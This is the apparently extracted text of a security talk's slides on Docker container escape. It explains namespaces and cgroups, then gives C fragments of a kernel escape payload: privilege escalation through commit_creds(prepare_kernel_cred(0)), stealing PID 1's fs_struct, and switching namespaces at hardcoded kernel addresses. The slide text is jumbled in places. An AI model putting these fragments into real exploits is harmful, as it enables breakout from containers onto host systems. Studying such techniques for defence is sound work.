AGENDA
• About Docker
• Vulnerability of Docker
• Docker Escape Technology
• Docker Escape demonstration
How Docker works
Client-Server : Build, Ship, Run
Docker Container
WEB
Docker Container
DB…
Docker Container
Docker
LINUX OS
INFRASTRUCTURE
Docker Client
docker pull docker run
…
Docker’s key techniques
NAMESPACES CGROUPS
Container1 ROOTFS1
PIDS1 MEMORY1
IP1 ETC…
Container2 ROOTFS2
PIDS2 MEMORY2
IP2 ETC..
Container3 ROOTFS3
PIDS3 MEMORY3
IP3 ETC..
LINUX KERNEL
CGOURPS
CPU SUBSYSTEM
CGroup Hierarchy
MEM SUBSYSTEM
BLKIO SUBSYSTEM
…
/cpu_mem_io_cg
/cg1
/cg2
container tasks
container tasks
LINUX OS
Vulnerability
• Untrusted images
• Namespace
Container
Container
Container
Container
Container
ATTACKER
HOST OS
Attack Docker
DOCKER ENGINE
CONTAINER Attack Container CONTAINER
EXECU
TE ANY C
OM
MAN
D O
N H
OST
• CONTAINER TO HOST
• CONTAINER TO CONTAINER
NAME SPACESasmlinkage long sys_clone(unsigned long clone_flags, unsigned long newsp, void __user *parent_tid,void __user *child_tid,struct pt_regs *regs) {return do_fork(clone_flags,newsp,regs, 0,parent_tid, child_tid); }
long do_fork(unsigned long clone_flags, unsigned long stack_start, unsigned long stack_size, int __user *parent_tidptr, int __user *child_tidptr)
{…}
CLONE_NEWNS/CLONE_NEWUTS/CLONE_NEWPID/CLONE_NEWNET/
CLONE_NEWIPC etc…
struct nsproxy {atomic_t count;struct uts_namespace *uts_ns;struct ipc_namespace *ipc_ns;struct mnt_namespace *mnt_ns;struct pid_namespace *pid_ns_for_children;struct net *net_ns;
};
NSPROXY
TASK_STRUCTtask_struct{ pid_t pid; pid_t tgid; struct fs_struct fs; struct pid_link pids[PIDTYPE_MAX]; struct nsproxy *nsproxy; ………. struct task_group *sched_task_group;
struct task_struct __rcu *real_parent; }
LINUX OS
ROOT PID2
CONTAINER
ROOT PID1
/docker/roofs/
/root
/tmp
/home
CHROOT
…
struct mnt_namespace {
struct mount * root;
………
}
struct fs_struct { int users; spinlock_t lock; seqcount_t seq; int umask; int in_exec; struct path root, pwd;};
FS_STRUCT
ESCAPE POINT
Container
System call trigger
shell code
exploit
Container Process
Vulnerabilities
commit_creds(prepare_kernel_cred(0))
Kernel
GET FS_STRUCT
struct fs_struct init_fs = { .users = 1, .lock = __RW_LOCK_UNLOCKED(init_fs.lock), .umask = 0022, };
HOST OS
kernel
GET FS_STRUCT
ContainerProcess
task_struct pid =1
task_struct pid =2
task_struct pid =X …………
fs_struct
while(task->pid!=1){
task=task->real_parent;
}
init_fs = task->fs
struct task_struct *task = get_current();
CHANGE FS_STRUCT void daemonize_fs_struct(void) { struct fs_struct *fs = current->fs; if (fs) { int kill; task_lock(current); write_lock(&init_fs.lock); init_fs.users++; write_unlock(&init_fs.lock); write_lock(&fs->lock); current->fs = &init_fs; kill = !--fs->users; write_unlock(&fs->lock); task_unlock(current); if (kill) free_fs_struct(fs); } }
void pull_fs(struct task_struct *tsk, struct fs_struct *new_fs)
{ struct fs_struct *fs = tsk->fs;
if (fs) { int kill; task_lock(tsk); spin_lock(&fs->lock); tsk->fs = new_fs; kill = !--fs->users; spin_unlock(&fs->lock); task_unlock(tsk); }
if(kill) free_fs_struct(fs)
}
SWITCT NSPROXY
create_new_namespaces=0xffffffff8108aa10; switch_task_namespaces=0xffffffff8108adb0;
struct task_struct *tsk = get_current(); new_proxy=create_new_namespaces(clone_flags,tsk,uns,tsk->fs);
………/*reset new_proxy*/ switch_task_namespaces(tsk,new_proxy)